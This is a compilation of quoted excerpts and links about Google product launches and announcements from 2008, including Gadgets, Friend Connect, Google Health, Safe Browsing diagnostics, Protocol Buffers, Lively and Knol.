"Google Talk, Labs Edition is an experimental release that brings some of the great features of the Google Talk Gadget to the desktop. Some features like voice calling and file transfer from the Google Talk client did not make it into this version. If you need to use voice calling or file transfer, you can download the original Google Talk client"
"I can't tell the difference between the Labs and non-Labs Talk icons in my systray! What do I do?"
"We recommend only using the Google Talk client OR Google Talk, Labs Edition at any one time. You can tell them apart by hovering your mouse over the icon for a few seconds - the name ("Google Talk" or "Google Talk, Labs Edition") will appear."
"What does "Allow Google Talk, Labs Edition to collect anonymous usage statistics" mean?"
""Usage statistics" refers to information automatically sent to Google to help us figure out how well the Google Talk, Labs Edition is working and help us improve it in future versions."
"This includes technical information such as the number of notifications received and the frequency Google Talk, Labs Edition features are used. These statistics don't include information such as your name or your email address. Google collects this data in aggregate and uses it according to our Privacy Policy to improve our products and services."
"During the installation process, we give you the option to help us improve Google Talk, Labs Edition by sending usage statistics. If you elect to send this information but later change your mind, you can disable this feature from the options menu in the system tray."
"I love/hate feature X/Y! Who do I contact?"
"We'd love to hear from you! Please email us at labs+googletalk@google.com"
http://www.google.com/talk/labsedition/faq.html
Google Labs
Gadgets for a cause
April 8, 2008
"Now any campaign or organization with a live website can use the Gadget Builder for organizations to quickly create a gadget. You can drive traffic from your gadget on iGoogle to your website and help your organization be seen and heard on this new platform. Your gadget could feature news from your organization, blog updates, a YouTube video channel, polls, trends, speeches, and more. You can submit your gadget to the iGoogle directory and drive additional usage of your gadget from your website."
"By making content accessible on iGoogle, organizations can engage supporters, reach undecided voters, and provide information to the uninformed. All you need to get started is access to a publicly available server where you can host your gadget files. If you already have a gadget, make sure it's in the appropriate category, for instance Politics or News. If you don't have a gadget yet, it only takes a few minutes to get started."
"For more details on gadget creation, visit the Google Gadget Center."
http://googleblog.blogspot.com/2008/04/gadgets-for-cause.html
Google Gadget Builder for organizations
http://www.google.com/webmasters/gadgets/promo/election.html
http://www.google.com/webmasters/gadgets/promo/builder.html
Google Gadget Center
"Building a gadget that people will want to see everyday requires thoughtful planning. Our 3-step process – Create, Promote, and Track & Optimize – will guide you through all the steps needed to make your gadget a success."
http://www.google.com/webmasters/gadgets/about/index.html
Google Gadget Center: Create your gadget
http://www.google.com/webmasters/gadgets/about/create.html
Google Gadget Center: Promote your gadget
http://www.google.com/webmasters/gadgets/about/promote.html
Google Gadget Center: Track and optimize your gadget
http://www.google.com/webmasters/gadgets/about/track.html
Promote Your Website's Content Using Google Gadgets
"In the United States, one of every five visits to the Google homepage goes to iGoogle. You can put your content on iGoogle and on other pages across the Internet for free by creating and promoting your own Google Gadgets. After iGoogle users add your gadget to the iGoogle page, they will see your content every time they visit Google. But not every gadget has lots of users, and it's very easy for people to delete gadgets they've added. In order to optimize your gadgets so the greatest number of people will try them out and keep using them over time, you should make sure your gadgets are well-designed. This document contains tips for optimizing your Google Gadgets."
http://www.google.com/webmasters/gadgets/guidelines.html
Google Gadget Maker
http://www.google.com/ig/gmchoices?source=gdha
Google Gadgets Editor
http://code.google.com/apis/gadgets/docs/gs.html#GGE
Google Gadgets Creator Page
http://code.google.com/apis/gadgets/docs/publish.html#PageCreator
Google Gadgets For Your Webpage
http://www.google.com/ig/directory?synd=open&source=gapi
Enhance your webpage with free Google Gadgets
http://www.google.com/webmasters/gadgets/foryourpage/index.html
http://www.google.com/ig/directory?synd=open&source=gghx
Google Gadgets for Your Page
http://www.google.com/webmasters/gadgets/
Google Gadgets for your page FAQ
http://code.google.com/support/bin/topic.py?topic=10043
Google Gadget Directory
http://www.google.com/ig/directory
What are Google Gadgets?
"Google Gadgets are simple HTML and JavaScript mini-applications served in iFrames that can be embedded in webpages and other apps."
Simple to build
"Built-in JavaScript libraries make it easy to create gadgets that include tabs, Flash content, persistent storage, dynamic resizing, and more. Use the Google Gadgets Editor to build gadgets quickly and easily."
Multiple sites
"Your gadget can run on multiple sites and products including iGoogle, Google Maps, Orkut, or any webpage. Write your gadget once, and with minor changes it can run in multiple places."
Reach millions of users
"Many gadgets are viewed millions of times per week and generate significant traffic for their authors. When users add your gadget to their iGoogle homepage for instance, they'll see your content each time they visit Google."
http://code.google.com/apis/gadgets/index.html
Google Gadget Ventures
"Develop new gadgets with support from Google."
"Google Gadget Ventures is a new Google pilot program dedicated to helping developers create richer, more useful Google Gadgets. Inspired by the success of iGoogle, which has been driven by the creation by 3rd-party developers of a broad range of gadgets, Gadget Ventures provides two types of funding:"
"Grants of $5,000 to those who’ve built gadgets we’d like to see developed further. You’re eligible to apply for a grant if you’ve developed a gadget that’s in our Google gadgets directory and gets at least 250,000 weekly page views. To apply, you must submit a one-page proposal detailing how you’d use the grant to improve your gadget."
"Seed investments of $100,000 to developers who’d like to build a business around the Google gadgets platform. Only Google Gadget Venture grant recipients are eligible for this type of funding. Submitting a business plan detailing how you plan to build a viable business around the gadgets platform is a required part of the seed investment application process."
http://www.google.com/gadgetventures/
Google Gadget Ads
"Gadget ads enable advertisers and agencies to engage audiences on the Internet's largest ad network with a rich and interactive new ad format."
http://www.google.com/adwords/gadgetads/
Does my account have Google Gadget Ads?
"You may not be able to create gadget ads in your own AdWords account just yet. Gadget ads require a high level of technical resources to create, and generally also require a high level of support from the AdWords support team. To avoid confusion for users, and to make sure we have appropriate levels of support, gadget ads are currently enabled for a limited number of AdWords advertisers who have created content-rich ads in the past."
"If gadget ads are enabled in your account, you will have received an invitation to create gadget ads from the Google support team. If you haven't received this notice, don't despair: We expect to offer Google Gadget Ads to other advertisers in the future as the launch progresses."
http://adwords.google.com/support/bin/answer.py?answer=74807&hl=LANG
Google Gadgets: Developer's Guide
http://code.google.com/apis/gadgets/docs/dev_guide.html
Google Gadgets: API Overview
http://code.google.com/apis/gadgets/docs/overview.html
Google Gadgets API FAQ
http://code.google.com/support/bin/topic.py?topic=10027
Official Google Gadgets API Blog
http://googlegadgetsapi.blogspot.com/
Google Gadgets API forum
http://groups.google.com/group/Google-Gadgets-API
Google Code
Links:
http://googleblog.blogspot.com/2008/02/share-love-with-igoogle.html
http://gspy.blogspot.com/2008/01/google-gadget-center-launched.html
http://www.googlewatchblog.de/2008/01/19/google-gadget-center/
http://blogoscoped.com/forum/118137.html#id118137
http://forums.searchenginewatch.com/showthread.php?t=20623
The Return of Google’s WHOIS OneBox
April 18, 2008
"Last month, Philipp compiled a list of lost Google features, at the top of which was a reference to the WHOIS OneBox feature that Google added for a brief period back in January 2004. Well, that OneBox is now back:"
"By entering a search phrase like [whois google.com] you can quickly see when the domain’s WHOIS record was created and when the domain will expire above the search results. (Somewhat ironically, it doesn’t actually tell you to whom the domain belongs though.)"
"Google implies it’s getting this information from the Domain Tools website, which is linked to from the OneBox result title too. However, it seems the data being displayed is not coming live from the WHOIS record, so Google must be caching the information somewhere."
http://blogoscoped.com/archive/2008-04-18-n27.html
Google WHOIS OneBox
April 18, 2008
"Google shows a special OneBox when you search for "whois", followed by a domain name: for example, [whois google.com]. The OneBox shows the date when a certain domain was created and date when it will expire. It seems that the only provider of information for this OneBox is Domain Tools."
"Google launched a similar feature four years ago, but it was removed really fast because it scraped data from Network Solutions without permission. "Google quietly launched a service allowing visitors to look up data on domain name owners from public databases - collectively known as Whois - run by registrars worldwide. Although largely unpromoted, the service generated enough traffic to surpass Network Solutions' (NSI's) daily Whois use limits, which aim to stop spammers and other undesirables from harvesting information about its customers.""
http://googlesystem.blogspot.com/2008/04/google-whois-onebox.html
The Return of Google's WHOIS Feature
April 19, 2008
"Google had launched an application in January 2004 called WHOIS, that was later withdrawn. However, now according to Matt Cutts, the WHOIS feature has been released again."
"By entering a simplistic web address such as whois google.com, a user would be able to know the creation and the expiration date of the domain."
"However, as of now the WHOIS data is not being sent in real time and it would mean that Google must be caching the information from some other source."
http://www.webpronews.com/topnews/2008/04/19/the-return-of-googles-whois-feature
Example:
http://www.google.com/search?q=whois+google.com
Links:
http://searchengineland.com/080418-182623.php
http://www.mattcutts.com/blog/nice-news-quote-feature/
A friend connected web
May 12, 2008
"Have you ever wished you could share information and interact with friends while visiting some of your favorite websites? There are a number of great social networking sites out there that let you stay connected, but the rest of the web typically hasn't been social. Yet."
"Site owners have been saying for a while that they would love to provide this functionality, but, frankly, it's been too hard to add social features. A lot of code has to be written to create a site where visitors can sign up and bring their friends along, form new friendships, and do engaging things together. And not to mention that if you're a site visitor, it's pretty inconvenient to create a new account and try to rebuild a network of friends each time you visit a site."
"Enter Google Friend Connect. This new service, announced as a preview release tonight at Campfire One, lets non-technical site owners sprinkle social features throughout their websites, so visitors will easily be able to join with their AOL, Google, OpenID, and Yahoo! credentials. You'll be able to see, invite, and interact with new friends or, using secure authorization APIs, with existing friends from social sites on the web like Facebook, Google Talk, hi5, LinkedIn, orkut, Plaxo, and others. And quite simply, you'll be able to do things together."
"Having faces show up at a site is not enough. Friend Connect lets site owners include OpenSocial apps made by a world of developers. We're providing a few apps, such as posts and ratings, to get the ball rolling. And many more will be provided by the OpenSocial community."
http://googleblog.blogspot.com/2008/05/friend-connected-web.html
Google Friend Connect
"Google Friend Connect lets you grow traffic by easily adding social features to your website. With just a few snippets of code, you get more people engaging more deeply with your site."
"Attract more visitors. Visitors bring along friends from social networks like Facebook, orkut, and others to interact on your site."
"Enrich your site with social features. Choose engaging social features from a catalog of gadgets provided by Google and the OpenSocial developer community."
"No programming whatsoever. Just copy and paste snippets of code into your site, and Google Friend Connect does the rest."
"Please note: this is a preview release. Google Friend Connect is being made available to a limited number of site owners as it approaches general availability. If you are interested in participating, please fill out this short form. You will be notified if you are approved as a partner."
http://www.google.com/friendconnect/
More info about Google Friend Connect
http://www.google.com/friendconnect/home/moreinfo
OpenSocial
"OpenSocial defines a common API for social applications across multiple websites. Built from standard JavaScript and HTML, developers can create apps with OpenSocial that access a social network's friends and update feeds. By using a common API, developers can extend the reach of their applications more quickly, yielding more functionality for users."
http://sites.google.com/a/opensocial.org/opensocial/Home
Looking towards IPv6
May 13, 2008
"We care a lot about the health of the Internet. Recently, we've become increasingly concerned that IPv4 addresses — the numbers that computers use to connect to the Internet — are running out. Current projections place IPv4 address space exhaustion somewhere in late 2011, and while technologies such as Network Address Translation (NAT) can offer temporary respite, they complicate the Internet's architecture, pose barriers to the development of new applications, and run contrary to network openness principles."
"That's why we're pleased to let you know that Google search is also available over IPv6 at ipv6.google.com (you'll need an IPv6 connection to view it). While IPv4 provides about four billion IP addresses — not enough to assign one to every one of Earth's more than six billion inhabitants — IPv6 provides enough address space to assign almost three billion networks to every person on the planet. We hope that by allowing every computer and mobile device on the network to talk to each other directly — an idea known as the "end-to-end principle" that was crucial to the original design of the Internet — IPv6 will allow the continued growth of the Internet and enable new applications yet to be invented."
"With current operating systems such as Windows Vista, Mac OS X, and Linux providing high-quality support for IPv6, we hope it's only a matter of time before IPv6 is widely deployed. We will be doing our part."
http://googleblog.blogspot.com/2008/05/looking-towards-ipv6.html
Google IPv6
Google Treasure Hunt
May 8, 2008
"The Google Engineering team is launching its first ever Treasure Hunt - a contest designed to challenge your problem-solving skills. Starting soon, we'll be releasing the first of four puzzles, drawing from computer science, networking, and low-level UNIX trivia. Each puzzle will be posted online week by week, and the first entrants to submit correct answers to each question will receive a prize."
"With each puzzle, we'll also be featuring one of our worldwide offices. The contest will run for four weeks, and you will get a virtual glimpse into our Mountain View, Sydney, and San Francisco offices."
"Below is the clue that you'll need to decode to get to the URL with more details. In the meantime, stay tuned here for directions and updates. And of course, to preserve fairness, no Google employees allowed :)"
"Arrrrrrrr you ready? Onward to the first puzzle, matey! And good luck!"
"aHR0cDovL3RyZWFzdXJlaHVudC5hcHBzcG90LmNvbS8="
"Soon :). 1210550400"
http://google-au.blogspot.com/2008/05/google-treasure-hunt.html
Google Treasure Hunt update
May 17, 2008
"Avast, matey! As announced on the Google Australia blog, we've launched Treasure Hunt — a puzzle contest designed to test yer problem-solving skills in computer science, networking, and low-level UNIX trivia. You'll find the first of four brainteasers at http://treasurehunt.appspot.com/. A new puzzle will be posted every week for the next three weeks, and a few lucky gobs to submit correct answers to every question will receive a prize."
"The second puzzle will be appearing soon — to be exact, 936266827 seconds before Y2K38, so keep yer eyes open. We'll also be highlighting our Mountain View mother ship, so step smartly, lads and lasses, and good luck!"
"In case ye missed out on the first week's puzzle, it's still available, so 'tis not too late! ARR! (Can you tell we can hardly wait to Talk Like a Pirate?)"
http://googleblog.blogspot.com/2008/05/google-treasure-hunt-update.html
Google Treasure Hunt 2008
http://treasurehunt.appspot.com/
Google Health
Google Health Help Center
http://www.google.com/support/health/
About Google Health
"Google Health allows you to store and manage all of your health information in one central place. And it's completely free. All you need to get started is a Google username and password."
"Google believes that you own your medical records and should have easy access to them. The way we see it, it's your information; why shouldn't you control it?"
"Keep your doctors up-to-date"
"Stop filling out the same paperwork every time you see a new doctor"
"Avoid getting the same lab tests done over and over again because your doctor cannot get copies of your latest results"
"Don't lose your medical records because of a move, change in jobs or health insurance"
https://www.google.com/health/html/about/
Google Health Terms of Service
"2. Not Medical Advice; U.S. Use Only"
"Google Health does not offer medical advice. Any content accessed through Google Health is for informational purposes only, and is not intended to cover all possible uses, directions, precautions, drug interactions, or adverse effects. This content should not be used during a medical emergency or for the diagnosis or treatment of any medical condition. Please consult your doctor or other qualified health care provider if you have any questions about a medical condition, or before taking any drug, changing your diet or commencing or discontinuing any course of treatment. Do not ignore or delay obtaining professional medical advice because of information accessed through Google Health. Call 911 or your doctor for all medical emergencies"
"4. Use of Your Information"
"If you create, transmit, or display health or other information while using Google Health, you may provide only information that you own or have the right to use. When you provide your information through Google Health, you give Google a license to use and distribute it in connection with Google Health and other Google services. However, Google may only use health information you provide as permitted by the Google Health Privacy Policy, your Sharing Authorization, and applicable law. Google is not a "covered entity" under the Health Insurance Portability and Accountability Act of 1996 and the regulations promulgated thereunder ("HIPAA"). As a result, HIPAA does not apply to the transmission of health information by Google to any third party."
"6. Content and Services Accessed through Google Health"
"Google may make third-party services available through Google Health. In order to use a specific service, you may choose to allow the third -party service provider to retrieve, provide, and/or modify health and other information in your account or otherwise share your information with the service provider. Once you enable a specific third-party service provider to access your account, the service provider may continue to access your account until you affirmatively disable access. Third-party service providers include both health care providers and other entities. It is your sole responsibility to review and approve each such third-party service before sharing your information through or otherwise accessing it."
https://www.google.com/health/html/terms.html
Does a Site Have Malware? Google Provides Diagnosis
May 23, 2008
"Google put up a new* malware diagnosis service; just append any domain – your domain or another site you want to check on – to the end of the URL “google.com/safebrowsing/diagnostic?site=", or paste a domain in the box below, and you will find an overview page listing potential problems like trojans or exploits (or the result may be telling you the site is OK)."
http://blogoscoped.com/archive/2008-05-23-n62.html
Google Anti-Malware Diagnostic Pages
May 23, 2008
"ZDNet's security blog points to an update to Google's malware warnings. Like McAfee SiteAdvisor, now each web site has a special diagnostic page that lists answers to four questions:"
"1. What is the current listing status?"
"2. What happened when Google visited this site?"
"3. Has this site acted as an intermediary resulting in further distribution of malware?"
"4. Has this site hosted malware?"
"Here's, for example, the diagnostic page for google.com: http://www.google.com/safebrowsing/diagnostic?site=google.com, which lists some interesting facts."
http://googlesystem.blogspot.com/2008/05/google-anti-malware-diagnostic-pages.html
Google introducing Safe Browsing diagnostic to help owners of compromised sites
May 22, 2008
"Last week, Google’s Niels Provos made an announcement regarding a newly introduced feature aiming to help owners of compromised sites in understanding the implications of the compromise, as well as the malicious events that took place when Google last indexed the site."
"These are some of the key benefits that I’ve already found highly effective in my investigative assessments."
"- despite that the data is kept for 90 days only, even a three months period of time with a snapshot of the malicious activity that’s been going on at a particular domain is handy when conducting assessments, especially in those cases where the compromise has already been detected by the site owner, and the malicious links/scripts removed"
"- the feature’s investigative and relationship establishing nature in the sense of listing other sites compromised by the same malicious domain, as well as the domains where the malware was hosted acting as redirection points in this case, easily allow you to see the big picture from different angles regarding a particular malware group or an incident"
"- the endless possibilities for automation and integration of the data thanks to the Safe Browsing API, as well as the possibility to use the service as a early warning system for security incidents"
http://blogs.zdnet.com/security/?p=1170
Safe Browsing Diagnostic To The Rescue
May 15, 2008
"We've been protecting Google users from malicious web pages since 2006 by showing warning labels in Google's search results and by publishing the data via the Safe Browsing API to client programs such as Firefox and Google Desktop Search. To create our data, we've built a large-scale infrastructure to automatically determine if web pages pose a risk to users. This system has proven to be highly accurate, but we've noted that it can sometimes be difficult for webmasters and users to verify our results, as attackers often use sophisticated obfuscation techniques or inject malicious payloads only under certain conditions. With that in mind, we've developed a Safe Browsing diagnostic page that will provide detailed information about our automatic investigations and findings."
"The Safe Browsing diagnostic page of a site is structured into four different categories:"
"1. What is the current listing status for [the site in question]?"
"We display the current listing status of a site and also information on how often a site or parts of it were listed in the past."
"2. What happened when Google visited this site?"
"This section includes information on when we analyzed the page, when it was last malicious, what kind of malware we encountered and so fourth. To help web masters clean up their site, we also provide information about the sites that were serving malicious software to users and which sites might have served as intermediaries."
"3. Has this site acted as an intermediary resulting in further distribution of malware?"
"Here we provide information if this site has facilitated the distribution of malicious software in the past. This could be an advertising network or statistics site that accidentally participated in the distribution of malicious software."
"4. Has this site hosted malware?"
"Here we provide information if the the site has hosted malicious software in the past. We also provide information on the victim sites that initiated the distribution of malicious software."
"All information we show is historical over the last ninety days but does not go further into the past. Initially, we are making the Safe Browsing diagnostic page available in two ways. We are adding a link on the interstitial page a user sees after clicking on a search result with a warning label, and also via an "additional information" link in Firefox 3's warning page."
http://googleonlinesecurity.blogspot.com/2008/05/safe-browsing-diagnostic-to-rescue.html
Goosh
"Goosh goosh.org 0.4.3-beta #1 Mon, 02 Jun 08 22:28:01 UTC Google/Ajax"
"Welcome to goosh.org - the unofficial google shell."
"This google-interface behaves similar to a unix-shell."
"You type commands and the results are shown on this page."
"goosh is written by Stefan Grothkopp <grothkopp@gmail.com>"
"it is NOT an official google product!"
Goosh, a Google Command Line
June 2, 2008
"Goosh.org hosts an unofficial Google interface which “behaves similar to a unix-shell,” as the author Stefan Grothkopp explains. For instance, entering n disney will result in a Google News search for the keyword “disney”. Type help to see some of the other available commands, like lucky (an “I’m feeling lucky” search), wiki (a Wikipedia search), blogs, or video. Note this project is not the first try at a Google command line utility, though one previous such site I know of seems to be down now."
http://blogoscoped.com/archive/2008-06-02-n49.html
Google Map Maker
http://www.google.com/mapmaker
Google Map Maker Getting Started Guide
"Google Map Maker is a Google Maps service that allows you add or edit features, such as roads, businesses, parks, schools and more. Using Google Map Maker tools, you can visually mark locations and add detailed information about these locations. Once you have submitted content, this information may be edited by other users or moderators. At a later time, this content may be published in Google Maps for others to see and use."
http://www.google.com/mapmaker/mapfiles/s/support.html
Google Map Maker FAQ
http://www.google.com/mapmaker/mapfiles/s/faq.html
Google Map Maker Moderation Guidelines
http://www.google.com/mapmaker/mapfiles/s/guidelines.html
Google Map Maker Terms of Service
http://www.google.com/mapmaker/mapfiles/s/terms_mapmaker.html
Google Map Maker - Privacy Policy
http://www.google.com/mapmaker/mapfiles/s/privacy_mapmaker.html
Google Protocol Buffers
"Protocol Buffers are a way of encoding structured data in an efficient yet extensible format. Google uses Protocol Buffers for almost all of its internal RPC protocols and file formats."
http://code.google.com/p/protobuf/
Protocol Buffers Documentation
http://code.google.com/apis/protocolbuffers/docs/overview.html
Protocol Buffers: Our open source data interchange format
July 7, 2008
"Today we have something special for all you coders: we're releasing one of our most widely-used internal development tools. We call it "Protocol Buffers." It's the way we encode almost any sort of structured information which needs to be passed across the network or stored on disk. We thought Protocol Buffers might be useful to other people, too, so we've decided to release it as open source software. Check out the details on the Google Open Source Blog, or head directly to the project page on Google Code."
http://googleblog.blogspot.com/2008/07/protocol-buffers-our-open-source-data.html
Protocol Buffers: Google's Data Interchange Format
July 7, 2008
"At Google, our mission is organizing all of the world's information. We use literally thousands of different data formats to represent networked messages between servers, index records in repositories, geospatial datasets, and more. Most of these formats are structured, not flat. This raises an important question: How do we encode it all?"
"XML? No, that wouldn't work. As nice as XML is, it isn't going to be efficient enough for this scale. When all of your machines and network links are running at capacity, XML is an extremely expensive proposition. Not to mention, writing code to work with the DOM tree can sometimes become unwieldy."
"Do we just write the raw bytes of our in-memory data structures to the wire? No, that's not going to work either. When we roll out a new version of a server, it almost always has to start out talking to older servers. New servers need to be able to read the data produced by old servers, and vice versa, even if individual fields have been added or removed. When data on disk is involved, this is even more important. Also, some of our code is written in Java or Python, so we need a portable solution."
"Do we write hand-coded parsing and serialization routines for each data structure? Well, we used to. Needless to say, that didn't last long. When you have tens of thousands of different structures in your code base that need their own serialization formats, you simply cannot write them all by hand."
"Instead, we developed Protocol Buffers. Protocol Buffers allow you to define simple data structures in a special definition language, then compile them to produce classes to represent those structures in the language of your choice. These classes come complete with heavily- optimized code to parse and serialize your message in an extremely compact format. Best of all, the classes are easy to use: each field has simple "get" and "set" methods, and once you're ready, serializing the whole thing to – or parsing it from – a byte array or an I/O stream just takes a single method call."
"OK, I know what you're thinking: "Yet another IDL?" Yes, you could call it that. But, IDLs in general have earned a reputation for being hopelessly complicated. On the other hand, one of Protocol Buffers' major design goals is simplicity. By sticking to a simple lists-and- records model that solves the majority of problems and resisting the desire to chase diminishing returns, we believe we have created something that is powerful without being bloated. And, yes, it is very fast – at least an order of magnitude faster than XML."
"And now, we're making Protocol Buffers available to the Open Source community. We have seen how effective a solution they can be to certain tasks, and wanted more people to be able to take advantage of and build on this work. Take a look at the documentation, download the code and let us know what you think."
http://google-opensource.blogspot.com/2008/07/protocol-buffers-googles-data.html
Be who you want on the web pages you visit
July 8, 2008
"I'm excited to announce today's release of Lively by Google - a 3D virtual experience that is the newest addition to Google Labs."
"The Lively team wants to help people experience another dimension of the web. We hope you will use the product to express yourself with and without words, and to do this in the places you already visit on the web."
"If you enter a Lively room embedded on your favorite blog or website, you can immediately get a sense of the room creator's interests, just by looking at the furniture and environment they chose. You can also express your own personality by customizing your avatar's look, showing people who you are without having to say a word. Of course, you can chat with each other, and you can also interact through animated actions."
"To learn more about Lively, please visit www.lively.com. We’re eager to hear your feedback. Maybe we'll bump into you in one of our rooms!"
http://googleblog.blogspot.com/2008/07/be-who-you-want-on-web-pages-you-visit.html
Google Releases 3D World Lively
July 9, 2008
"Google just released Lively, a 3D world where you can chat with others and create your own rooms. Traces of this program appeared back in 2007 under the name of My World (this project also received the rumor nickname Google metaverse; TomHTML, Tony and I also lately saw traces of something called Google Rooms, though we aren’t 100% sure it’s related). After installing the desktop setup for Windows – yes, this is one of the rare Google products which isn’t completely browser-based – you’ll be forwarded to lively.com again. There, you can pick from a number of available rooms, and sign-in with your Google account."
"I experienced a couple of problems with this service right now; from odd user name restrictions (I ended up re-selecting my Google ID name, even though they asked me to pick a new name at first), to very slow loading (I mostly saw skeletons at first), to finally, a program crash (the message “Lively has encountered a problem and an error report has been sent” appeared and the program closed). These may be launch problems, though, and nothing permanent... we’ll see."
"Once you logged into a room, you can start customizing your avatar. First you can pick from a base type – like male, female or animal – and then you can fine-tune your hair, skin color, eyes and more. You’ ll then see yourself surrounded by other avatars, and there’s background music and lots of laughing, grunting and other noises. The graphic has a lighthearted cartoon touch, reminiscent of something like a Lucasarts 3D game. When you talk by using the chat box at the bottom, your words appear as speech bubble above your character."
"You can then move around by kind of dragging your avatar (clicking your avatar switches to self-navigation mode, and clicking outside it switches to camera navigation). This may be an unusual mode of navigation at first, but after some seconds it works very well."
http://blogoscoped.com/archive/2008-07-09-n11.html
Google unveils a Lively virtual world
July 8, 2008
"As if Google didn't have a strong enough hold on the planet already, today it's launching its own world -- a virtual world, to be exact. Lively, which Google likes to call a "virtual experience," allows you to create an avatar, decorate your own virtual room, invite friends to your room and do things you've always dreamed of, like blow up oil barrels on a deserted island."
"Unlike popular virtual worlds such as Second Life, Lively doesn't require you to download new software. All you need is a browser plug- in. The service is also more distributed than Second Life: Its rooms will live on Web pages on Facebook and other sites, so you might stumble across them when browsing the Internet. Rooms can be private spaces, with entry by invitation only, or open-topic rooms, where you can meet people interested in discussing topics you love, like Angelina Jolie, Jennifer Aniston or Google. It also ties into other Google services. You can stream YouTube videos into your virtual living room or post your Picasa pictures on your walls."
http://latimesblogs.latimes.com/technology/2008/07/google-unveils.html
Google Tackles Virtual Reality With 'Lively'
July 8, 2008
"Virtual reality is a little 2006, but Google is looking to give it a new spin with Lively, a new 3D 'world' that can be integrated with a number of online applications."
"The Lively download is available now on Lively.com. Users can create "rooms" that can be embedded on blogs or Web sites and explored via avatars you create yourself."
"It is currently only available for Windows XP and Vista users using Internet Explorer or Firefox. You'll need a video card with at least 32 MB of video memory, Flash 9 or higher, and a broadband Internet connection."
"Users must be at least 13 years old to participate, and those under 18 must get a parent or guardian's permission before joining, Google said."
http://www.pcmag.com/article2/0,2817,2325144,00.asp
Google Launches Lively; Second Life in a Google Environment
July 8, 2008
"Google has just launched its own 3D Virtual World called Lively. Of course the first thing that would come into our mind upon reading “3D Virtual World” is none other than Second Life, with all its avatars and avatar interactions among members. Although Google’s Lively may look and feel like Second Life, it is no where near its rich 3D environment. But it is understandable though since Lively is still in Google Labs, so we expect more features and enhancements later on."
"Currently Google’s Lively allows users to create their own avatars, their avatars’ rooms, customize their avatars with their own photos and videos (yes, it does support YouTube video embedding), and embed their Lively virtual rooms into blogs and websites."
"Members can chat with other avatars they see on rooms they visit or visitors to their own room. They can also add these avatars into their contacts as well as keep tracks of their friends through the Lively virtual environment."
"Google’s Lively looks to be a promising web product and has the potential for another advertising venue for Google once it becomes viral and attain the same level of popularity and usage as that of Second Life."
"As for Second Life, Google Lively is free and that makes it a possible threat."
http://www.searchenginejournal.com/google-launches-lively-second-life-in-a-google-environment/7256/
Lively New Virtual World From Google
July 8, 2008
"In a way it's very un-Google. The new Lively 3D "virtual world" that launched today is perhaps another run at social networking after the mixed experience of Orkut (popular in Brazil and India, among a few other places). Apparently aimed at teens and even tweens, cutting their virtual teeth on sites like Webkinz and Club Penguin, Lively is apparently the product of the long-rumored Google Metaverse project. It's only available for PC at the moment."
"I spent some time with it this afternoon and found it relatively easy to use and engaging, although there's slight a learning curve. A nice, fairly in-depth discussion of the mechanics of Lively is on Google Blogoscoped. There's considerable customization built around avatars and rooms, which can be exported in the form of widgets. Users can enter each others' rooms and interact/chat with one another. You can also embed and watch YouTube videos within Lively."
"Unlike Second Life, the service is entirely free. Lively is likely to be immediately popular. Coincidentally, another 3D social network, Vivaty, launched this morning with an emphasis on Facebook (Coke and Target are sponsors). There are numerous other competitors and there has been considerable VC money flowing into the over-hyped "virtual world" segment."
"Beyond comparing the now proliferating virtual worlds on features, it's worth asking why Google is doing this. As I said in the beginning, this effort is quite far removed from Google's mission to "organize the world's information.""
"One could take the cynical view and see it as an effort to further develop the burgeoning "in-game" advertising market. In 2006 Google acquired the in-game ad company AdScape. Alternatively it could be seen as a product to appeal to the youth market (and later offer demographic advertising and sponsorships accordingly). But it may equally be a product of the creativity of a number of Google engineers who just thought it would be "cool.""
http://searchengineland.com/080708-215216.php
Prereqs & Supported Systems: Run Requirements
"To run Lively, you'll need a decent video card (one with at least 32 MB of video memory). All video cards made in the last three years should work."
"You'll also need to run Lively on a Windows XP of Vista (with admin privileges to install). We don't support Mac or Linux (yet)."
http://www.lively.com/help/bin/answer.py?answer=93894&topic=13361
Lively
Lively Rooms
Lively Catalog
Lively Help Center
Lively Forum
http://groups.google.com/group/lively-help
Google Knol
"A knol is an authoritative article about a specific topic."
Introduction to Knol
"The Knol project is a site that hosts many knols — units of knowledge — written about various subjects. The authors of the knols can take credit for their writing, provide credentials, and elicit peer reviews and comments. Users can provide feedback, comments, related information. So the Knol project is a platform for sharing information, with multiple cues that help you evaluate the quality and veracity of information."
"Knols are indexed by the big search engines, of course. And well- written knols become popular the same as regular web pages. The Knol site allows anyone to write and manage knols through a browser on any computer."
http://knol.google.com/k/knol/knol/Help#
Google Knol's Orkut community
http://www.orkut.co.in/Community.aspx?cmm=16576078
Knol is open to everyone
July 23, 2008
"A few months ago we announced that we were testing a new product called Knol. Knols are authoritative articles about specific topics, written by people who know about those subjects. Today, we're making Knol available to everyone."
"The web contains vast amounts of information, but not everything worth knowing is on the web. An enormous amount of information resides in people's heads: millions of people know useful things and billions more could benefit from that knowledge. Knol will encourage these people to contribute their knowledge online and make it accessible to everyone."
"The key principle behind Knol is authorship. Every knol will have an author (or group of authors) who put their name behind their content. It's their knol, their voice, their opinion. We expect that there will be multiple knols on the same subject, and we think that is good."
"With Knol, we are introducing a new method for authors to work together that we call "moderated collaboration." With this feature, any reader can make suggested edits to a knol which the author may then choose to accept, reject, or modify before these contributions become visible to the public. This allows authors to accept suggestions from everyone in the world while remaining in control of their content. After all, their name is associated with it!"
"Knols include strong community tools which allow for many modes of interaction between readers and authors. People can submit comments, rate, or write a review of a knol. At the discretion of the author, a knol may include ads from our AdSense program. If an author chooses to include ads, Google will provide the author with a revenue share from the proceeds of those ad placements."
"We are happy to announce an agreement with the New Yorker magazine which allows any author to add one cartoon per knol from the New Yorker's extensive cartoon repository. Cartoons are an effective (and fun) way to make your point, even on the most serious topics."
http://googleblog.blogspot.com/2008/07/knol-is-open-to-everyone.html
Google's Wikipedia competitor, Knol, was opened to the public on Wednesday morning
July 24, 2008
"So-called knols are articles about specific topics written by experts on that subject."
"Google is partnering with The New Yorker magazine to allow any author to add a cartoon from the magazine to their knol. Knol authors can run ads with them, as well, and receive a cut of the revenue from Google."
"What makes Knol different from Wikipedia is that every knol will have an author, or group of authors, whose name is prominent."
"People can submit comments, and rate and review knols. Authors can choose to close their knol so that no-one else can edit it, make it completely open to others to edit — like a wiki — or keep the default "moderated collaboration" mode, in which the author selects which edits to allow."
http://news.zdnet.co.uk/internet/0,1000000097,39452060,00.htm
Google takes aim at Wikipedia with paid alternative
July 23, 2008
"Google hopes to knock Wikipedia off its perch as the pre-eminent "community encyclopaedia" by releasing its own compendium of articles about every possible topic."
